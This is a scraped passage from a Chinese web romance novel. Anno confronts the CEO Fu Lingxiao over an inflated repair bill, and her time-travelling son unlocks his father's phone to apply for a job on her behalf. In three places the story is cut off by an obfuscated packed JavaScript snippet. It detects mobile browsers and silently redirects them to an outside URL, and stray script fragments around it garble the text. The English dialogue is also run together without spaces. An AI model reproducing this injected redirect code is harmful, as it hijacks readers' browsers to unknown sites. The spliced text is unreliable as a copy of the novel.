他这么贸然带去见傅凌霄,不怕傅凌霄生气吗? 还有… 他怎么这么确信傅凌霄愿意见她? 无数个谜团环绕在安诺脑际。 忽然,她想起来刚才大叔好像叫傅凌霄叫的是“凌霄”,而不是“傅总”或者“总裁”什么的。 对,就是“凌霄”。 不带姓的称呼,更显关系亲腻。 这比她直呼傅凌霄大名还更值得耐人寻味。 看来大叔对于傅凌霄而言,份量举足若轻 嗯,如此一来她应该是可以见到傅凌霄了。 安诺鬼精鬼精地在心里打着小算盘。 -- 本来安诺没想把事情闹得这么难堪的。 要怪就怪那个财务组长谎话连篇,并且丝毫没认识到自己的错误,非得一条道走到黑,还一口咬定1.5万不松口。 仿佛,只要她一直坚持赔偿金是1万5,那她的错误就不是错误了一样。 不知不觉间,安诺跟着特助大叔来到了一扇巨大的双开门面前。 那是一扇黑棕色的双开门,很高很大,大门紧闭着。 傅凌霄就在这大门之后,作为公司首脑掌管着公司的一切事务。 一边是自己的员工,一边是她这个仅有两次眼缘的外人。 他到底会听谁的呢? 安诺心里挺忐忑的。 还有就是,面前的大叔越想越奇怪。 他们不过一面之缘而已,他这样做未免也太热情太好心了些。 这让安诺心里有些不好受。毕竟她找傅凌霄可不是因为什么好事情。 “你不问问我为什么找傅凌霄吗?”她禁不住提醒大叔一句。 大叔准备敲门来着,闻声动作一顿,侧身看着安诺,眉目慈祥地回答:“不问。” 安诺:“不是…你不怕我没事瞎闹腾吗?又或者,身上有刀什么的会对你们总裁不利?” 大叔笑笑:“凌霄跆拳道黑段,你打不过他的。” 安诺:“…好,好的吧。” 表情一下苦涩难为情起来。 大叔也是个心细的人,见安诺一连发问好几个问题,他一下便看出了安诺的担心,坦言道: “我不关心你因为什么事情而找凌霄,有什么你直接说给他听就好了。好事也好,坏事也罢,有了沟通,人与人之间的距离才会被拉拢拉近。” “你们年轻人的事情,我只希望成为那个搭桥的人。” 这无疑是一番开诚布公的坦露之言,偏偏安诺越听越迷糊了。 稍稍揣摩一下大叔的话,眉梢不自觉地皱了起来。 拉近距离! 搭桥? 她只知道牛郎织女每年七月七会鹊桥相会,至于她和傅凌霄有什么桥可搭的? 仔细想来,该不会是因为傅凌霄同意她上电梯,所以大叔误会了什么吧? “大叔,那个我和傅凌霄不是那种关系的。”她着急解释道。 说话时双手特夸张地不停摆动,就怕解释得不够明白。 结果大叔看着她说:“我知道你们不是那种关系,但…” 安诺:“但?” 她跟着重复,语音疑惑。 大叔:“但以后就不一定罗。” 安诺:*&%#?! 骤然之间,思绪像被摁了暂停键盘似的,忽然不知道该说什么是好了。 最后女孩只能尴尬地抿嘴笑笑。 大叔也并不期待她能作出什么回复,甚至根本不给她任何反应的时间,微笑着说了一声“祝你好运”后,人便直接推开了面前的大门。 安诺:!!! 不是,她还没准备好呢。 …… 就这么突然的,赶鸭子上架似的,安诺被大叔带进了傅凌霄的办公室里。 挺唐突的,要不是大叔拦着,安诺都想转身逃走了。 门被推开时,傅凌霄正在开视频会议,听见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183754|165416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动静后他往安诺和大叔这边看了一眼,下一秒,目光重新回到了办公的电脑上。 期间,傅凌霄的动作没有一丝一毫的停顿,甚至看到安诺和大叔时,眼底也没什么惊讶神色。 仿佛他们这两个不速之客就是透明人一样。 “Thereisstillroomforbudgetreductionmunicatewiththemagain.” (预算还有下调的空间,再去沟通一下) 他处变不惊地继续开着视频会议。 安诺忍不住拽了拽大叔的衣袖,想说要不然他们还是先出去吧。 大叔却反手轻拍她的手背,似乎在安慰她说没关系。 “inaddition…”(另外) 傅凌霄准备继续说其他事情,但忽然语气又一顿。 而后,他的目光终于再次往大叔以及安诺这边看过来。 这次,傅凌霄狭长的眸子微眯了一下。 似是不悦,又似打量。 确定两位“不速之客”没有要离开的意思,他这才决定停下手头上的事情。 “Well,itseemslikeIneedtodealwithsomethingelse!Let''stakea10minutebreak.” 他略显无奈地通知视频里面的所有人。 从小到大,安诺最偏科的就是英语,不过这两句简单的句子她还是能听懂的。 大概意思是他需要处理一下其他事情,让大家先休息10分钟。 关掉视频会议后,傅凌霄掀眸看了一眼特助大叔,最后视线一转,目光直直打在安诺身上。 很显然,他这是断定打断他视频会议的罪魁祸首不是别人,而是安诺了。 隔着三四米远的距离,安诺都能清楚地感受到傅凌霄眼神里对她的兴师问罪。 她偷偷咽了咽嗓子。 就傅凌霄这副厉人的模样,她可不敢擅自开口说话。 如此一来,只能靠大叔了。 “小姑娘说有事找您,看起来挺着急的,所以我就把她带进来了。”大叔替她说话道。 听完,傅凌霄眼底的不悦情绪收敛了一些。 安诺有些惊讶。 惊讶之余,她也想明白了一件事情,她猜得没错,对傅凌霄而言,大叔真的不是一般特助能够比拟的。 虽然不知道他们之间到底有着怎样的过往,但是安诺能感觉得到,从某种意义上来说傅凌霄很愿意听取大叔的意见,也会在一定程度上迁就大叔。 就如现在,哪怕大叔明目张胆地带她闯进办公室,甚至打断了视频会议,结果大叔随便解释一句傅凌霄便消了火气。 “就帮小姑娘一点小忙而已,这对我们傅大总裁而言并不是什么难事对吧?”大叔又冲傅凌霄说道。 话里有吹捧和揶揄,但也有一丝丝哄慰的意思。 就像老父亲哄孩子似的。 这不禁让安诺脑洞大开地觉得,傅凌霄该不会...不是傅家的孩子,而是私生子吧! 忽地身体一激灵,安诺被自己的想法吓到了。 哪曾想这一怪异行为立马引来了傅凌霄的死亡凝视。 安诺瞬间抬头挺胸,整个人老实巴交地站好。 一动不动的。 消停了。 傅凌霄这才回大叔道:“知道了。” 这意思是,同意安诺留下来和他谈话了。 “那好,你们慢慢聊。”大叔喜出望外道。 说完,他转身就准备离开。 刚走一步,看安诺一张小脸紧张兮兮的,于是又后退回来小声说道: “放轻松,祝你好运。” 短短一句,像有魔力一样,安诺心口一暖,可惜这并不能减轻她对傅凌霄的害怕和紧张。 她张嘴想说什么,结果大叔没给她任何说话的机会,冲她笑了一下后便走了。 随着一道不轻不重的关门声响起,安诺的心一下提到了嗓子眼。 此时此刻,偌大的办公室里只余下她和傅凌霄两个人。 15. 第15章 走出办公室后,大叔再三确认了两次门确实关好后他才离开。 过道里,刚才抱资料的小助理还在勤勤恳恳地抱着资料游走在两个办公室之间。 看到大叔时,小助理跑过来好奇道: “夏叔,那女孩到底是总裁什么人啊?” 能被夏叔直接带进傅凌霄办公室的人,小助理天然地认为这肯定不是一般人。 对于小姑娘的八卦,大叔只教训了一句:“工作的时候好好工作,少八卦,多做事。” 不是特别严厉的训话语气,更好像是长辈对小辈的谆谆劝道。 “切,知道了夏叔。”小助理撅着嘴巴走了,抱着她那一摞怎么都整理不完的资料。 小助理走后,大叔往办公室这边又看了一会儿。 这是他第一次违背多年的职业操守,擅自允许一个女孩在毫无预约的情况见傅凌霄,甚至以打断傅凌霄的工作为代价。 不为别的,只因为最先破戒的人不是他,而是傅凌霄自己。 主动准许一个女孩与自己同坐一台电梯,这并不是傅凌霄的做事风格。 此外,在电梯里安诺撞到傅凌霄的时候,傅凌霄并没有表现出什么反感情绪。 他有轻度强迫症,外加轻度洁癖的。 从小到大,只有亲近的人可以触碰傅凌霄的身体。 哪怕是身上的衣服也不行。 如果有人不小心碰到了,那件衣服的结局就是被扔进垃圾桶。 安诺是个例外。 在她无意撞到傅凌霄时,傅凌霄没有推开她,也没擦拭身上的衣服,更没将其脱下扔掉。 有意思的是,傅凌霄自己都没意识到自己的这些变化。 就好像是… 他的身体,比他的大脑更先表达出了“喜欢”。 -- 大叔走后,只剩下安诺独自一人面对傅凌霄。 两人四目相对,一个坐着,慵懒又淡漠。一个站着,满脸的拘谨。 “呵呵…” 空气太寂静了,安诺尴尬地笑了笑。 傅凌霄淡淡地掀眼,没接茬,就这么一瞬不瞬地盯着她,似乎在等着看她到底能闹出什么花样来。 但他的耐心却又十分有限,黑漆漆的眸子总给人一种压迫感,仿佛在说: 如果没有什么事情的话,他要忙了。 大有一副要赶人走的意思。 安诺走是不可能走的。 毕竟来都来了。 攥了攥手心后,小姑娘开门见山道: “那个,我被敲诈了。” 此时紧张的情绪稳定了不少,人也跟着胆大了一些。 傅凌霄依旧不出声,眸色发浅,态度平静中透着讥讽与冷漠。 所以呢,这和他又有什么关系? 这是安诺从中读到的意思,骤然间,女孩心口压抑的小火苗重新复燃了一些。 “是被你公司的员工敲诈的。”她有些生气地补充说。 这回傅凌霄终于有了点反应,眉头微蹙。 “事情是这样的…” 安诺根本不想听傅凌霄说什么,她自顾自地演绎起事情的来龙去脉来。 甚至一个人扮演三个人的角色,她自己,外加许晓筱和那个刻薄的财务组长。 许晓筱打电话喜欢插着腰,然后嘴里噼里啪啦一顿输出。 那位“位高权重”的财务处组长,说话永远一副鼻孔朝天的盛气凌人模样。 而她自己,稍稍正常一点,一般会耐心听人把话说完然后她再骂人。 刚开始,傅凌霄凝神蹙目,听得还算认真,毕竟这事儿出在他自家公司里,说大不大说小也不小。 后面渐渐的,整个人松散下来,一只手搭在办公桌上,身子微微后仰着,人就那么静静地看着安诺演话本。 安诺演的实在是太夸张了。 而她浑然不觉。 等快讲完的时候,比划的动作这才逐渐变小了些。 额…好像是演的有点太过火了。 她终于想起这茬了。 “反正,事情就是这个样子。” 她最后总结道。 说完,人立马调整站姿,手脚并拢,站姿挺拔,静等傅凌霄如何处理这件事情。 傅凌霄敛眸,难得有心思戏谑人道:“讲完了?” 安诺:“嗯。” 头低着,特乖巧。 也不是乖巧,而是刚才的一出“表演”已经用光了她全部的活泼与外向,现在整个人脸皮薄得厉害。 正后悔刚才的举动当中。 值得庆幸的是,傅凌霄没再多说什么嘲弄人的话。 转而办公室里传出一道敲打键盘的声音。 低着头,安诺不知道傅凌霄在干嘛,于是偷偷地抬起小眼神,她好奇地看过去… 距离她两米远的地方,傅凌霄坐在电脑前屈指还在敲动键盘。 他打字速度很快,骨节分明的手指十分灵活。 半晌,他停下手上的动作,而后抬眸,视线重新朝她看过去。 吓得偷看的某人急忙心虚地低头。 傅凌霄没空和她兜圈子,直接道:“事情处理好了。” 安诺瞬间睁大眼睛。 这就…这就处理好了? …… 事情处理完,安诺没在傅凌霄的办公室久呆。 傅凌霄很忙,给她处理完事情后立马就有视频电话找他。 应该是刚才视频会议里面的人打来的。 一个身居高位的总裁,能听她啰嗦这么大半天已经很不错了,所以安诺也没继续过问什么。 因为不想打扰别人工作。 但在好奇心外加复仇心的双重引诱下,女孩鬼鬼祟祟地又摸到了8楼财务处。 那个财务处组长最后到底怎么样了? 对此安诺比谁都好奇。 到楼下,财务处的大门全是透明玻璃门,站在过道里就能把里面的所有情况看得一清二楚。 过道上暂时没人,安诺趴在玻璃门上,猫着个脑袋往里面东看西看。 看了半天,发现那女人的工位空荡荡的。 “真是奇怪。”她嘀咕一句,而后犹犹豫豫地准备离开。结果一转身,撞上一张熟悉的脸。 “找什么?找我吗?” 是那个“权势滔天”的财务处组长。 安诺没说话,因为注意力全被女人手上的箱子吸引了。 那是一个透明的收纳盒,里面装了各种资料,以及个人用品,有抽纸,有水杯,有风扇…… 难不成这是… 脑袋里冒出一个想法。 果然那女人面红耳赤地说:“我被解雇了,你满意了吧?” 安诺微挑眉梢。 这确实是她没想到的结果。 不过仔细想想,这女人被解雇还真不能赖她头上。 “这是你自己的错,和我无关。” 安诺如是说道,说完懒得和她纠缠,她转身要走人。 那女人却像块狗皮膏药似的黏了过来。 甚至两人还坐上了同一台电梯。 “你别以为你搭上傅总就多了不起了吗。” 女人神叨叨地对着安诺一通念叨,“对傅总这种身份地位的男人来说,女人就是负担,就是累赘,就是未知的安全隐患。” 安诺默默地听着,也默默地翻了一个白眼。 神经。 “以前公司人力处来了个女职员,长得又高又漂亮。” 女人闲不住地一直讲话,“也正因为仗着自己漂亮,所以那女孩每次都千方百计地和傅总坐同一台电梯,还每次都穿得性感又暴露,最后你猜怎么着?” 安诺回人3个字:“不关心。” 女人讥讽地“呵”笑一声: “你不想听,那我偏要说给你听。最后啊...那女孩被辞退了,总裁办给出的理由是作风有问题。” “所以没人能真正走进傅总的心,漂亮女孩不行,而你,要身材没身材,要长相嘛…” 目光上下扫看安诺两眼,其实安诺很漂亮,身材也很纤细高挑,但她偏要用一副看不上的嘴脸说道:“也就那样吧。” “反正你更不可能。”她最后还下结论道。 安诺受不了。 “大姐,你有病就多吃药,少出来说三道四祸祸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“微,微信。”她说。 话音落下时,空气寂静。 傅凌霄依旧不出声,默了一会儿,电梯到站了。 一言不发的,人收起凝视人的目光,然后径直走出电梯。 安诺:!!? 一整个僵住。 在无人注意的角落里,助理大叔无奈地轻叹一口气。 他了解傅凌霄,提防心还是太重了。 “滴———”电梯发出提示音。 在电梯门即将关上时,安诺和大叔一同走出了电梯。 “这样,赔偿金的事情,我先替凌霄收下吧,回头我再转给他。”大叔替傅凌霄解围道。 那边,傅凌霄越走越远,只留下一抹孤傲无比的背影。 没办法,安诺只好把钱先转给大叔。 大叔收完钱后,提着公文包疾步往外追去。 去追傅凌霄。 两人应该是有什么要紧事情所以才因公外出的。 安诺不紧不慢地走在一楼的大厅里。 瞅着傅凌霄越渐模糊的人影,她越看越觉得莫名其妙。 回想刚才傅凌霄看她的眼神。 那冷凌的眸光阴沉沉的,分明带着警惕与提防。 咋的,她身上是带了刀还是带了炸/弹啊!? 就扫个微信转个账而已,她还能吃了他不成。 走出公司,安诺回头望了望身后的大楼。 一个傅凌霄,一个财务处组长,这破公司从总裁到职员就没有一个正常人吗? 仔细想想,安诺觉得自己的倒霉日子就是从这家公司面试开始的。 骤然间,她看大楼的眼神都充满了嫌弃。 这个地方绝对是风水有问题,和她命格反冲。 想着安诺一个扭头,加快步子赶紧走了。 就这么的,她以为自己和傅凌霄以及整个傅氏集团就此一别两宽,应该再无瓜葛了。 哪想当天晚上,诺宝趁她不注意的时候,用她的电脑偷偷投了份简历。 而且,还是投给傅凌霄的总裁办的。 16. 第16章 偷投简历这事,得从诺宝的手机开始说起。 下午安诺被许晓筱拽走后,诺宝独自拿着手机翻来覆去地琢磨了很久。 手机表面没有半点磕碰的痕迹,这说明没有被摔过。 于是抱着侥幸心理,诺宝给手机充了半个小时的点,没想到最后手机真自己开机了。 这完全是不可思议的事情。 现在是2024年,而手机是诺宝从2030年带过来的。 在现在的这个世界里,手机的真身其实是在傅凌霄的手里。 所以按理说,诺宝的手机在2024年的世界里根本不可能正常运行。 “太神奇了。”小家伙盯着手机,沉浸在难以相信的思绪里。 寝室里,张雨桐和林倩倩在忙学习上的事情。张雨桐要考公,林倩倩要考研。 诺宝缩在卫生间里,一方面是不想打扰两位姨母姐姐学习,另一方面是,他不想让她们知道手机已经开机的事情。 之前他拿出手机还说手机里面有钱,现在想想,多少有些莽撞了。 手机是傅凌霄的,手机里面的内容自然也和傅凌霄有关。 这让安诺知道了还得了。 毕竟两人现在的关系这么的...水火不容。 2024年的手机密码和2030年不一样。 在2030年,手机密码是诺宝的生日,但搁2024年压根就没诺宝这号人,那就更别提有什么生日了。 密码不是生日,那还能是什么? 一般来说,为了避免记忆混乱,同一个人在设置密码的时候会具有一定程度的重复性。 卫生间里,嫌站着太累了,诺宝把干净的洗衣盆倒扣在地上当板凳用,然后一屁股坐了上面。 坐好后,一边敲打数字键盘,一边嘀嘀咕咕地念叨道: “9******0,1******4。” 前面是书房的密码,后面是傅凌霄保险柜的密码。 随着“登”的一声响,书房密码淘汰,保险柜密码成功“晋级”。 手机屏保锁被解开。 “yes!” 诺宝暗喜道。 紧跟着,微信十分凑巧地来消息了。 顺理成章的,诺宝成了那个“非法偷窥者”。 毕竟手机是傅凌霄的。 点进微信,诺宝只看到傅凌霄给人发了一个“1”。 职场里,“1”代表收到,已过目。 但诺宝不清楚这些东西。 小家伙蹙着眉头,继续往上翻记录。 原来前面有人先给傅凌霄发消息道: 【傅总,人事部那边给回复了,说财务处组长的劳务关系会在本周六前彻底解决好,而她本人也已经在今天下午自动离开了公司。】 说的都是工作上的事情。 诺宝眉头松了松。 但是没记错的话,下午妈咪被许晓筱姐姐拉出去,好像就是去找这个什么财务组长的。 所以这事肯定和妈咪有关。 带着好奇心,诺宝宝继续往上看。 果然,下午2点31的时候,傅凌霄给这个账号的人发了句问话: 【车子维修费是1.2万?】 对面的人几乎秒回:【是的傅总。】 之后傅凌霄直接吩咐那人说:【那个财务处组长,去处理了。】 紧接着那边发了一条消息过来,但是很快又撤了回去。 可能是想问为什么会突然处理人,但后面脑袋转过弯来后,心照不宣地回答说:【好的】 后面再无其他多余的对话。 再往上翻翻也全是工作上面的对话,很多诺宝都看不懂。 觉得无趣得很。 小家伙撅起嘴巴,甚是不满意地退出了对话框。 他想看的是和自己妈咪有关的东西,可惜只有这么一点点。 就这么一点点简短的对话,他从中根本看不出来他爸比傅凌霄对他妈咪安诺到底是什么感觉。 不甘心的,诺宝决定再看看其他聊天记录,看看里面还有没有和安诺有关的东西。 最后一通搜查下来啥都没找着,不过其他收获还是有的。 比如诺宝发现他爸比确实是个工作狂。聊天里99%都是在说工作,剩下1%才是和朋友的闲聊。 福尔摩斯诺侦探还摸清楚了他老爸大概有多少个朋友,朋友都是做什么的,又喜欢拉着傅凌霄出去干嘛。 傅凌霄真正玩得要好的朋友不多。 1号人物,姜西慕,上市娱乐公司总裁,时常喜欢约着傅凌霄出去打高尔夫。 上个星期打高尔夫,这个星期还是打高尔夫,诺宝看着都忍不住想吐槽一句: 这么喜欢打高尔夫,这人干脆直接住在高尔夫球场里得了。 偶尔,江西慕也有动歪心思的时候,总想着拉傅凌霄投资他们公司的影视项目。 每当这个时候,傅凌霄只回人一个字: “滚”。 对此江西慕只能发个苦笑的表情包,知道这事儿没戏。 然后一年半载以后,人又厚脸皮地来一句:【公司最近在筹备一部电影,怎么样,有没有想法?】 傅凌霄还是一样的回答:【滚】 江西慕也一如既往的只有苦笑。 其实诺宝对江西慕一点也不陌生。 打从记事开始,他就记得江西慕总是跟着他爸到家里来蹭饭。 每次一到傅家,江西慕就特喜欢抱他,还有每年生日的时候,江西慕也会特意给他准备礼物。 除此之外,家里面有一半的玩具都是江西慕买的。不为别的,只因为他不仅是傅凌霄的朋友,还是诺宝的干爹。 干爹这事儿,是江西慕自己撺掇的,根本没经过傅凌霄的同意。打从诺宝会开口说话开始,江西慕就一直教诺宝叫他干爹干爹的。 叫着叫着,这事儿就成真的了。 除了这位干爹江西慕以外,傅凌霄还有一位关系紧密的朋友。 这就要提到那位2号人物了。 苏沉鹤,酒吧经营者。 这位叔叔,诺宝倒是在家里很少见到。 少有两次见面还是在诺宝的生日宴上。 诺宝记得这是一个比他爸比小几岁,个头也比他爸比稍微矮一点的“小叔哥”。 喝酒功夫十分了得。 诺宝年满5岁的生日宴上,苏沉鹤一个人喝趴了半桌子的人。 比起酒量好,苏沉鹤还有一个更令人记忆深刻的人物特征,那便是长得太妖艳。 薄唇,丹凤眼,鲻鱼狼尾发型。 只要他愿意,轻轻一挑眉就能把小姑娘们迷得五迷三道的。 最先见到干爹江西慕时,诺宝觉得江西慕总是挑眉阴笑着,暗搓搓地拿他爸比傅凌霄说笑。 一看就是个不正经的主。 等后来见到苏沉鹤时,诺宝这才知道什么叫“人外有人天外有天”。 说到玩世不恭,没人敢和苏沉鹤争第一。 这不,每次叫傅凌霄出去不是喝酒就是喝酒的。 “我看你开酒吧,就是为了方便自己喝酒的吧。” 诺宝一边滑动聊天记录,一边生气地埋汰人。 他觉得这人坏得很,就知道叫他爸比去喝酒。 一直以来傅凌霄的胃都不怎么好。 有慢性胃炎。 估计就是被这人霍霍的。 “哼。” 十分气恼的,诺宝退出了苏沉鹤的微信框。 以上,江西慕和苏沉鹤便是傅凌霄最最要好的两位朋友。 对此诺宝很是不理解,他不明白他爸比这么一个冷血冰冷的人,怎么会和这两个不着调的“男妖精”搅合在一起呢。 比起这两位,傅凌霄的五官长得最立体,最隽秀,也最端正。 像极了言情小说封面上的漫画男主,脸部轮廓棱角分明,眼睛深邃又阴沉。 光从长相而言,诺宝就觉得他爸和江西慕以及苏沉鹤两人根本不是一类人。 一个总是沉着脸的人,到底是怎么和那两个总是嬉皮笑脸的“妖男”成为朋友的? 真的有共同话题吗? 诺宝怎么也想不明白这件事情。 算了,想不明白就不想了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15183756|165416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>再一次从上到下地扫看一眼聊天列表后,诺宝觉得里面的消息简直味同嚼蜡,索然无味得很。 这便是他那身价千亿的老爸每天经历着的工作与生活。 干净,且枯燥。 半个奇怪女人都没有。 转念一想,不应该呀。 朱玲嫣不是天天就喜欢缠着爸比吗? 这聊天里咋没这号人呢? 以防万一,诺宝专门在搜索栏里搜索了一遍“朱玲嫣”的名字,结果还是没搜出半点蛛丝马迹出来。 现在是2024年7月2号。 难不成是…这个时间节点还不是那个女人“隆重登场”的时候? 诺侦探努了努唇角,若有所思地思考着,最后思考出的结论是… “管她有没有出场。” “哼,瞎眼的爸比,我会永远监督你,永远永远!” 小家伙冲着手机气势汹汹地发誓道。 -- 第一次见到安诺时,诺宝就觉得自己妈咪漂亮极了。 这么漂亮的妈咪傅凌霄都没爱上,为此傅凌霄喜提“眼瞎”称号。 手机里,过往的消息太多了,诺宝自然是没看完的,也不想看了。 主要是他爸以前的生活真的没什么看头。 所以诺宝决定从今天开始,他只看新出现的聊天信息。 刚想着,手机“叮咚”一声响,伴随着震动音。 直觉敏锐的诺侦探立马重新登上微信。 他知道里面肯定又有情况了! 这回,他可要好好看看,看有没有什么坏女人专门跑来骚扰他爸比。 点开微信一看,没想到,还真是个女人。 发信人的微信头像是一抹背影,还穿着一袭飘飘然的大红裙。 虽然看不着正脸,但光从背影就能看出应该是个大美女,和刚才给傅凌霄做工作汇报的人完全不是同一个人。 之前那人的微信名叫艾丽,微信头像直接是本人的正面照,头发是齐耳短发,穿的还是工作装,看起来落落大方的,笑得也十分得体。 一看就和傅凌霄一样,是个工作狂。 且工作能力很强,和傅凌霄的聊天对话也全部是围绕工作内容开展的。 至于这位红裙飘飘的女人,那给人的感觉就完全不一样了。 关键是,这漂亮女人没发文字,上来就发了一张图片。 图片是什么,要点进对话框才能看见。 诺宝一下就涨红了脸颊,不是害羞,而是被气着的。 他觉得女人肯定发的不是什么正经图片。 以及,他那眼瞎的爹其实一点都不眼瞎,其实暗搓搓的就是个老色鬼。 沉浸在自我幻想中的诺宝,特生气地点进了女人和傅凌霄的对话框。 对话框真弹出来时,小家伙傻眼了。 因为女人发的图片不是什么美照,而是一张招聘简报。 “总裁助理,招聘?” 小家伙惊讶地念出简报上的内容。 按他5岁“4000”字的识字量来说,他应该不认识“裁”和“聘”这两个复杂汉字的。 但因为自己老爸就是总裁本裁,以及自家妈咪这两天一直看招聘信息。 所以就这么耳濡目染的识字量被迫增长不少。 招聘条件:本科以上学历,行政管理,汉语言文学,工商管理,人力资源,金融管理等相关专业学生,必须会word、excel、ppt等基本办公软件,还要有很强的沟通能力、服务意识、抗压能力以及团队协作能力,此外…… 乌七八糟的一堆要求,诺宝看着头都大了,好多词语他还不认识,有些认识的他也理解不了其中的意思。 比如“人力资源”具体指代什么,“工商”两个字又都包含那些东西。 这些略显专业的学术用词,对一个5岁的孩子来说约等于“甲骨文”。 不过,即使看不懂这些东西也不能阻止诺宝做自己想做的事情。 小家伙把脚一跺,特傲娇地哼气道: “哼,我不管,既然你们要招助理,那这个人必须是我妈咪!” 17. 第17章 诺宝偷投简历的事情发生在晚上10点左右。 离开傅氏集团后,安诺晃晃悠悠地到寝室时这才晚上7点。 此时寝室里的气氛美好又和谐。 回来的路上,她去超市给小家伙买了些日用品,还顺道买了晚饭,等到寝室一看,才发现小家伙已经和张雨桐林倩倩两人吃上了。 三个人坐成一排,人手一个煎饼果子。 小家伙哼哧哼哧地啃着,余光瞄到安诺推门进来时,一声惊呼:“妈咪!” 接着人直接飞奔过来。 煎饼果子都不吃了。 因为嘴里包了东西,所以喊话声音十分模糊,张雨桐和林倩倩吃着煎饼,没听清诺宝叫的什么,只看见诺宝一溜烟往安诺跑去,兴奋得完全忘记下午是谁带他的了。 “喂小鬼,下午我们对你不好吗?” 张雨桐第一个表示不服气。 诺宝充耳不闻,跑过来抱住安诺就撒娇道:“我都想你了。” 张雨桐和林倩倩看不下去了。 酸死了都。 张雨桐故意说气话道:“切,没良心的小玩意,下次不带他了。” 林倩倩跟着附和:“对,不带他了。” 安诺憋笑着没说话,低头看见诺宝抱着她丝毫不准备撒手的样子。 这一刻,挺满足的。 一天的疲惫瞬间没有了。 …… 晚上,诺宝还是很黏安诺。 安诺走到哪里,小家伙就跟到哪里。 寝室里的两位姨母受不了一点,借故下楼去买点东西,结果半个小时过去了也没回来。 许晓筱更是一个晚上也没见着人影,估计是自知自己半路逃跑理亏在先,所以怕安诺生气,故意躲着不见人。 晚上9点,安诺坐电脑面前浏览各大网站上的租房信息。 她想早点找个房子和诺宝一起搬出去住,一直住在寝室里,她怕打扰到其他人。 闲着没事做,诺宝趴在她旁边问东问西的。 “你今天去傅氏集团怎么样啊?” “事情处理好了没?” “没有人欺负你吧?” 安诺一门心思在租房事情上,神色专注地盯着电脑,随口胡诌:“挺好的。” 诺宝刨根问底道:“挺好是怎么个好法?” 安诺滑动电脑页面:“就,挺好的。” 诺宝:“……” 过了会儿,不放弃地又开口问道:“你有没有见到那个...什么叫傅凌霄的?” 这才是小家伙的真实目的,他想打听安诺和傅凌霄有没有碰撞出什么爱情的小火花。 安诺脑仁一疼,如今她都快对“傅凌霄”三个字应激了。 划破车子赔偿1万2,她道歉人说“你不适合道歉笑得太假了”,她拿手机想给人微信转账过去结果人转身走了。 这桩桩件件的事情涌入脑海,安诺只觉得脑仁一抽一抽的疼得厉害。 闭眼忍过一阵头疼后,她张口说道:“饶了我吧,别提他好吗?” 对此诺宝很是不理解。 “啊?为啥呀?”小家伙不依不饶道。 安诺看着诺宝,眼神郁闷极了,“不是,你关心这个干嘛?你认识他啊?” 诺宝:“不认识啊。” 他早就预料到了安诺会问他这个问题,所以说话的时候淡定极了。 安诺眯眼:“那你问这些干嘛?” 诺宝双手捧着脸蛋,悠悠地回答说:“我这不是怕你被欺负嘛。” 下一秒,两眼一亮:“怎样,他有欺负你吗?” 安诺眉梢一挑,越看越觉得小家伙心里有鬼。 “你这样子,好像挺期待我被欺负的啊?” 诺宝口是心非的:“啊?没有呀。” “没有吗?”安诺步步紧逼,上扬的语气表明了她早已洞悉一切。 这回诺宝底气有些不足了,“没有啊。” 下一秒:“哎呀,我,我肚子疼。” 说着特激灵地薅起一包纸巾,然后一溜烟往厕所跑去。 安诺:“…呵,臭小鬼一个。” 至此,诺宝偷投简历的事情还没发生,世界还算祥和。 卫生间外面,安诺专心致志地对比着各个房源。 价格,采光,户型,卫生情况,以及与学校的通勤距离远不远,这些全都是她要考虑的问题。 但影响她是否租房的决定性因素还是价格。 因为她穷。 太贵的房子她真的租不起。 其中有一个公寓,一室一厅一厨一卫,美式轻奢风,采光还好,位出繁华的商业街区,楼下有超市有地铁有公交。 关键是,还有各种餐馆,往前走10分钟还有菜市场和小吃街。 安诺一眼就相中了这套房子。 但打开微信钱包看到里面仅剩的“3000”块钱后,她默默地取消了这个小公寓的收藏。 2500块,她总共就只有3000块钱,哪里敢租每月2500的房子啊。 之前许晓筱几人帮她凑了1万5,还了傅凌霄1万2以后,现在她身上还剩3千。 “难啊,太难了我。” 郁闷地唠叨完,女孩转头打开了招聘网站。 租房太贵了,她还是赶紧找个工作挣点钱吧。 诺宝神出鬼没地从卫生间里出来时,手里拿着一个手机。 刚才他在厕所里面又研究了一番傅凌霄招聘助理的事情,想着找个机会他一定要把他妈咪安诺的简历投递过去。 但偷投简历前,他得把自己的手机藏好才行。 可不能被安诺发现了。 于是小家伙鬼鬼祟祟地四处打量起来,最后在许晓筱的书桌下面找到了他的小青蛙书包。 他也不知道自己的书包是怎么搞的,竟然被扔在了书桌下面,而且还是直溜溜地躺在地板上,像被遗弃的垃圾口袋一样。 秉着不嫌弃不抛弃的原则,诺宝跑过去拾起灰不溜秋的书包,拍拍上面的灰后,正准备把手机藏进书包里时安诺回头看着他,疑惑道: “你拿着手机干嘛,你那小破手机好了?” 诺宝肩膀一抖。 真是怕什么来什么,庆幸的是手机屏幕早就被他摁灭了。 眼疾手快的,小家伙把手机往书包里一扔,转身回话道:“没有啊,还坏着呢。” 